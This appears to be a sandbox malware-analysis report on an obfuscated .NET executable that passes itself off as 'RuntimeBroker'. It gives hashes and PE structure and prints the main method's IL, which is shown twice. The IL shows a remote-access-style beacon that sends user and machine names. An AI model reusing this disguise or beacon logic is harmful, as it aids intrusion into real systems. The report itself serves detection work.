Suspicious
Suspect

0322baf8c0e2e6567934f5d94bde7e84

PE Executable
MD5: 0322baf8c0e2e6567934f5d94bde7e84
Size: 571.98 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very high
MD5 0322baf8c0e2e6567934f5d94bde7e84
Sha1 c25932c7836bc7f749879efe68153c7d8084b852
Sha256 fbe1a132a4dda975e349ba6c6d29e79bf247f0f18a1aeec6d80ce16e7e92ccbb
Sha384 86d49ebaccceb37b72a70767b3837410337e4bdfa19a3ae28e7578de6a0c70f48018019ff54cee943aadeaa6f63bed92
Sha512 1d63b187a6871a6ae27dffaf37fa62b4a487b016097a3819a23bdbf2d944aace2b068a366d795ef97b8e0110ab859f70d683a2f6016bf5dc46cdbb6009da09b4
SSDeep 6144:lJCVxPDfssFMU23mGk6F0Ew+NtTkyxRFVgylVza9GvPswRXNpBdYu7zbfv/Rd7LA:ls9fssq3mSO6tbYITRXNJ/v7LcmsqA
TLSH 67C439247F948608E590197E459E1A11C7AA91F226327303371AFF611D8ADDEDF2C3EB
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
0322baf8c0e2e6567934f5d94bde7e84
[Authenticode]_bbdf221a.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
3eyjukhg9rxhup1wjpmudc9
uqvw47e0oaf57pcxnmrruygknyxr29b
STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2
Name Value
Info
PE Detect: PeReader OK (file layout)
Info
Authenticode present at 0x89600 size 9288 bytes
Module Name
RuntimeBroker
Full Name
RuntimeBroker
EntryPoint 
System.Void yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::UbBLdnYDoKpBWcUSFK(System.String[])
Scope Name
RuntimeBroker
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
RuntimeBroker
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
628
Main Method 
System.Void yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::UbBLdnYDoKpBWcUSFK(System.String[])
Main IL Instruction Count
266
Main IL 
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::xmmuNrWGHaEfx()
stloc V_12
br IL_003F: br IL_000E
nop <null>
ldloc V_12
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::sPpsuevOwgPgRyWRR()
ceq <null>
brfalse IL_0029: nop
nop <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::aMWWrtCFGB()
stloc V_12
nop <null>
ldloc V_12
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::GesmpetUiKwPiqFegZYkqICE()
ceq <null>
brfalse IL_003F: br IL_000E
br IL_0044: nop
br IL_000E: nop
nop <null>
nop <null>
call System.Void yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::dCrkPOcgEcVe()
nop <null>
call System.Void yAIrVASZYgZsPGkVxUlYam.UmpFeCQAQCMZGLjjxIJ::hDnlybvGRhlcTLqrWIaiQTH()
nop <null>
ldsfld System.Threading.TimerCallback yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd/szbdGjozyRPHYBRefAE::<>9__2_0
dup <null>
brtrue IL_0074: ldnull
pop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd/szbdGjozyRPHYBRefAE yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd/szbdGjozyRPHYBRefAE::<>9
ldftn System.Void yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd/szbdGjozyRPHYBRefAE::<Main>b__2_0(System.Object)
newobj System.Void System.Threading.TimerCallback::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.TimerCallback yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd/szbdGjozyRPHYBRefAE::<>9__2_0
ldnull <null>
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
newobj System.Void System.Threading.Timer::.ctor(System.Threading.TimerCallback,System.Object,System.TimeSpan,System.TimeSpan)
pop <null>
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::YAtfOOOqnvKwYRMDGHegVpxB
call System.String zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::bNinvFHfeLUnPaXdKm()
call System.String hmtKWSxhRdeB.gTpKzPVxShVXyPGx::uLvDmHldiuATgL(System.String)
call System.Boolean System.String::op_Equality(System.String,System.String)
stloc V_0
ldloc V_0
brfalse IL_00C0: ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::nJMHehoAxcCJeMhWsGB
nop <null>
call System.Void yAIrVASZYgZsPGkVxUlYam.jNGYzqQoXapvUJNNlXOKfMIa::JDbhMEbqHdkQ()
nop <null>
nop <null>
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::nJMHehoAxcCJeMhWsGB
call System.Boolean lhlYNYYhUfmabuMhXCbp.djRFYGGSNccVYIjFu::PctdYnGjbixAU(System.String)
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::AVXwqpYtSpBWtcTcwirew()
ceq <null>
stloc V_1
ldloc V_1
brfalse IL_00E4: call System.Void lhlYNYYhUfmabuMhXCbp.LWUAWLwXkRVgqReyyvCjDcRmf::DGaigCZkZLQYrNcJkNRuldiiZ()
nop <null>
leave IL_03BA: ret
call System.Void lhlYNYYhUfmabuMhXCbp.LWUAWLwXkRVgqReyyvCjDcRmf::DGaigCZkZLQYrNcJkNRuldiiZ()
nop <null>
call System.Void yAIrVASZYgZsPGkVxUlYam.QAhpeLzseTkPooSYcYOLHZKW::mKkBRmgTWwxtNIvW()
nop <null>
br IL_0393: ldsfld System.Boolean yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::VliZZhJBykXkMWrohvlFJ
nop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
ldfld System.Boolean yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::DXEyPmgYToIXvmeNBp
brtrue IL_0116: call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::InxFHuaLaoM()
ldsfld System.Boolean yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::VliZZhJBykXkMWrohvlFJ
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::glOVfiRGxcnBoJVYsUYVQA()
ceq <null>
br IL_011B: stloc V_2
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::InxFHuaLaoM()
stloc V_2
ldloc V_2
brfalse IL_0387: call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::DACLASZcmHChOCeOFTTv()
nop <null>
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::jvNnMLGmRAwNlMMwkxIjtj
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::miUKqbLsZisoKGYqWGbXgh()
newarr System.Char
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::iidKMXRNNcT()
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::pXJiuEIeZvIvAVjoUNoJE()
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc V_3
ldloc V_3
ldlen <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::mcMRzUIVeLqWiSNXgS()
ceq <null>
stloc V_8
ldloc V_8
brfalse IL_0177: ldloc V_3
nop <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::DgnZhJqnctzoKfNlh()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0393: ldsfld System.Boolean yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::VliZZhJBykXkMWrohvlFJ
ldloc V_3
ldsfld System.Random yAIrVASZYgZsPGkVxUlYam.QAhpeLzseTkPooSYcYOLHZKW::vheDJQoQLkcaqnmTkK
ldloc V_3
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.Random::Next(System.Int32)
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_4
ldloc V_4
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::cFnWEQxEdnRawgVl()
newarr System.Char
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::vzDfIJgfce()
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::frUhgCENkgbWbdfCW()
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc V_5
ldloc V_5
ldlen <null>
conv.i4 <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::wTSZeRldqU()
ceq <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::HqclaYmSjuucHBUUcbBdGKdf()
ceq <null>
stloc V_9
ldloc V_9
brfalse IL_01EA: ldloc V_5
nop <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::EGMCwCMjSdpzl()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0393: ldsfld System.Boolean yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::VliZZhJBykXkMWrohvlFJ
ldloc V_5
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::EsjnHCrLXK()
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_6
ldloc V_5
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::JBoqpwNwZVSZQnshspYeUqaxk()
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_7
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
callvirt System.Void yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::ffMklAnnWaCQbf()
nop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
ldloc V_6
ldloc V_7
callvirt System.Void yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::foOtjFisqcwdHQFa(System.String,System.String)
nop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
ldfld System.Boolean yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::DXEyPmgYToIXvmeNBp
stloc V_10
ldloc V_10
brfalse IL_0386: nop
nop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::WWdUtiBFmAXtcgcC()
newarr System.Object
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::fmSTzPUyVzgdS()
call System.String zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::UFkuRdwDhJZxLkT()
call System.String hmtKWSxhRdeB.gTpKzPVxShVXyPGx::uLvDmHldiuATgL(System.String)
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::rGSZrTFcjXKArJzMsB()
call System.String zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::XeAVfTQYcb()
call System.String hmtKWSxhRdeB.gTpKzPVxShVXyPGx::uLvDmHldiuATgL(System.String)
stelem.ref <null>
call System.Byte[] yAIrVASZYgZsPGkVxUlYam.jWAMSMjyMtXtYaVSE::TnToDvjfPMKeOpbpGmilztQKn(System.Object[])
callvirt System.Void yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::VBUUtshbNILzz(System.Byte[])
nop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
newobj System.Void pTzDXOdunfwBrRj.CZHwHLjZDLxrewHkranHIzbsn::.ctor(yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ)
stfld pTzDXOdunfwBrRj.CZHwHLjZDLxrewHkranHIzbsn yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::VUdhJQyUWilkFFGLSH
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
newobj System.Void yAIrVASZYgZsPGkVxUlYam.mayVuzMdFYMhjxnOCr::.ctor(yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ)
stfld yAIrVASZYgZsPGkVxUlYam.mayVuzMdFYMhjxnOCr yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::bCvPlsZSQyBeJg
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::evLSCWHIVXiVcUZ()
newarr System.Object
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::mKGkjGCCuJzXKzIHeLnf()
call System.String zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::raYajPZFUqTRKzCaVFNIDwXA()
call System.String hmtKWSxhRdeB.gTpKzPVxShVXyPGx::uLvDmHldiuATgL(System.String)
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::oPDkKjEACifSdMClRhY()
call System.Byte[] yAIrVASZYgZsPGkVxUlYam.QAhpeLzseTkPooSYcYOLHZKW::KtxPECfuys()
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::IXtXjxWPbqQhtAyuDAZWxBs()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::iQZPIvYtqCvzNSOIN
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::UEhmFVNdOmXQWfAMNp()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::zKlABMQJbrfhLvt
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::LSyZcNIiRIBvGeTDe()
call System.String System.Environment::get_UserName()
call System.String zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::JQkAoLRqhEcJjqhmfyMDNqWdt()
call System.String hmtKWSxhRdeB.gTpKzPVxShVXyPGx::uLvDmHldiuATgL(System.String)
call System.String System.Environment::get_MachineName()
call System.String System.String::Concat(System.String,System.String,System.String)
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::jJFdmSGdhXXzMJ()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::XNHNBABIMEbYLQixOhoQ
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::cgIVfFZxmwUM()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::IRbKlWgNiGssdSgTWMqJAEG
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::RlCcWwdgThffSzfkLSwsmdy()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::IhJVtvnsYrOwfDQdUveyifhx
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::hyKKMThRGOMvV()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::vMpEaIOczLUPCTu
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::dPfcJydqNFtMbdYUFnnrvXmT()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::dsUyGrDKfC
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::AANZEnkPQphMKUzh()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::qveDCLBRHcite
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::lERzrDtlJYIdzFdMIIyPRJS()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::pZYmRmdCQZDCqEk
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::wKorHuSoKElh()
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::GCmtznRjwfdjcgREREacuIAMh
stelem.ref <null>
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::UIwTnuObmR()
call System.String yAIrVASZYgZsPGkVxUlYam.QAhpeLzseTkPooSYcYOLHZKW::IXalDDKpPfHIgstEVDlypQ()
stelem.ref <null>
call System.Byte[] yAIrVASZYgZsPGkVxUlYam.jWAMSMjyMtXtYaVSE::TnToDvjfPMKeOpbpGmilztQKn(System.Object[])
callvirt System.Void yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::VBUUtshbNILzz(System.Byte[])
nop <null>
nop <null>
nop <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::DACLASZcmHChOCeOFTTv()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
nop <null>
ldsfld System.Boolean yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::VliZZhJBykXkMWrohvlFJ
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::wKnABvdODhKtFnHs()
ceq <null>
stloc V_11
ldloc V_11
brtrue IL_00F5: nop
nop <null>
leave IL_03BA: ret
pop <null>
nop <null>
nop <null>
leave IL_03BA: ret
ret <null>
Module Name
RuntimeBroker
Full Name
RuntimeBroker
EntryPoint 
System.Void yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::UbBLdnYDoKpBWcUSFK(System.String[])
Scope Name
RuntimeBroker
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
RuntimeBroker
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
628
Main Method 
System.Void yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::UbBLdnYDoKpBWcUSFK(System.String[])
Main IL Instruction Count
266
Main IL 
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::xmmuNrWGHaEfx()
stloc V_12
br IL_003F: br IL_000E
nop <null>
ldloc V_12
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::sPpsuevOwgPgRyWRR()
ceq <null>
brfalse IL_0029: nop
nop <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::aMWWrtCFGB()
stloc V_12
nop <null>
ldloc V_12
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::GesmpetUiKwPiqFegZYkqICE()
ceq <null>
brfalse IL_003F: br IL_000E
br IL_0044: nop
br IL_000E: nop
nop <null>
nop <null>
call System.Void yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::dCrkPOcgEcVe()
nop <null>
call System.Void yAIrVASZYgZsPGkVxUlYam.UmpFeCQAQCMZGLjjxIJ::hDnlybvGRhlcTLqrWIaiQTH()
nop <null>
ldsfld System.Threading.TimerCallback yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd/szbdGjozyRPHYBRefAE::<>9__2_0
dup <null>
brtrue IL_0074: ldnull
pop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd/szbdGjozyRPHYBRefAE yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd/szbdGjozyRPHYBRefAE::<>9
ldftn System.Void yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd/szbdGjozyRPHYBRefAE::<Main>b__2_0(System.Object)
newobj System.Void System.Threading.TimerCallback::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.TimerCallback yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd/szbdGjozyRPHYBRefAE::<>9__2_0
ldnull <null>
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
newobj System.Void System.Threading.Timer::.ctor(System.Threading.TimerCallback,System.Object,System.TimeSpan,System.TimeSpan)
pop <null>
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::YAtfOOOqnvKwYRMDGHegVpxB
call System.String zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::bNinvFHfeLUnPaXdKm()
call System.String hmtKWSxhRdeB.gTpKzPVxShVXyPGx::uLvDmHldiuATgL(System.String)
call System.Boolean System.String::op_Equality(System.String,System.String)
stloc V_0
ldloc V_0
brfalse IL_00C0: ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::nJMHehoAxcCJeMhWsGB
nop <null>
call System.Void yAIrVASZYgZsPGkVxUlYam.jNGYzqQoXapvUJNNlXOKfMIa::JDbhMEbqHdkQ()
nop <null>
nop <null>
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::nJMHehoAxcCJeMhWsGB
call System.Boolean lhlYNYYhUfmabuMhXCbp.djRFYGGSNccVYIjFu::PctdYnGjbixAU(System.String)
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::AVXwqpYtSpBWtcTcwirew()
ceq <null>
stloc V_1
ldloc V_1
brfalse IL_00E4: call System.Void lhlYNYYhUfmabuMhXCbp.LWUAWLwXkRVgqReyyvCjDcRmf::DGaigCZkZLQYrNcJkNRuldiiZ()
nop <null>
leave IL_03BA: ret
call System.Void lhlYNYYhUfmabuMhXCbp.LWUAWLwXkRVgqReyyvCjDcRmf::DGaigCZkZLQYrNcJkNRuldiiZ()
nop <null>
call System.Void yAIrVASZYgZsPGkVxUlYam.QAhpeLzseTkPooSYcYOLHZKW::mKkBRmgTWwxtNIvW()
nop <null>
br IL_0393: ldsfld System.Boolean yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::VliZZhJBykXkMWrohvlFJ
nop <null>
ldsfld yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::deHsFTJdbmGG
ldfld System.Boolean yAIrVASZYgZsPGkVxUlYam.nEAhLTbeUFWfMCyujwZJOfmJ::DXEyPmgYToIXvmeNBp
brtrue IL_0116: call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::InxFHuaLaoM()
ldsfld System.Boolean yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::VliZZhJBykXkMWrohvlFJ
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::glOVfiRGxcnBoJVYsUYVQA()
ceq <null>
br IL_011B: stloc V_2
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::InxFHuaLaoM()
stloc V_2
ldloc V_2
brfalse IL_0387: call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::DACLASZcmHChOCeOFTTv()
nop <null>
ldsfld System.String yAIrVASZYgZsPGkVxUlYam.EkorJkrrKzoMcUkCTqUmt::jvNnMLGmRAwNlMMwkxIjtj
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::miUKqbLsZisoKGYqWGbXgh()
newarr System.Char
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::iidKMXRNNcT()
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::pXJiuEIeZvIvAVjoUNoJE()
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc V_3
ldloc V_3
ldlen <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::mcMRzUIVeLqWiSNXgS()
ceq <null>
stloc V_8
ldloc V_8
brfalse IL_0177: ldloc V_3
nop <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::DgnZhJqnctzoKfNlh()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0393: ldsfld System.Boolean yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::VliZZhJBykXkMWrohvlFJ
ldloc V_3
ldsfld System.Random yAIrVASZYgZsPGkVxUlYam.QAhpeLzseTkPooSYcYOLHZKW::vheDJQoQLkcaqnmTkK
ldloc V_3
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.Random::Next(System.Int32)
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_4
ldloc V_4
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::cFnWEQxEdnRawgVl()
newarr System.Char
dup <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::vzDfIJgfce()
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::frUhgCENkgbWbdfCW()
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc V_5
ldloc V_5
ldlen <null>
conv.i4 <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::wTSZeRldqU()
ceq <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::HqclaYmSjuucHBUUcbBdGKdf()
ceq <null>
stloc V_9
ldloc V_9
brfalse IL_01EA: ldloc V_5
nop <null>
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::EGMCwCMjSdpzl()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0393: ldsfld System.Boolean yAIrVASZYgZsPGkVxUlYam.vEIvRnXUESODnHzSJd::VliZZhJBykXkMWrohvlFJ
ldloc V_5
call System.Int32 zEPzXzkmMDqKSIeyQcdKCxGzQ.KDgFlPtSga::EsjnHCrLXK()
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_6
ldloc V_5
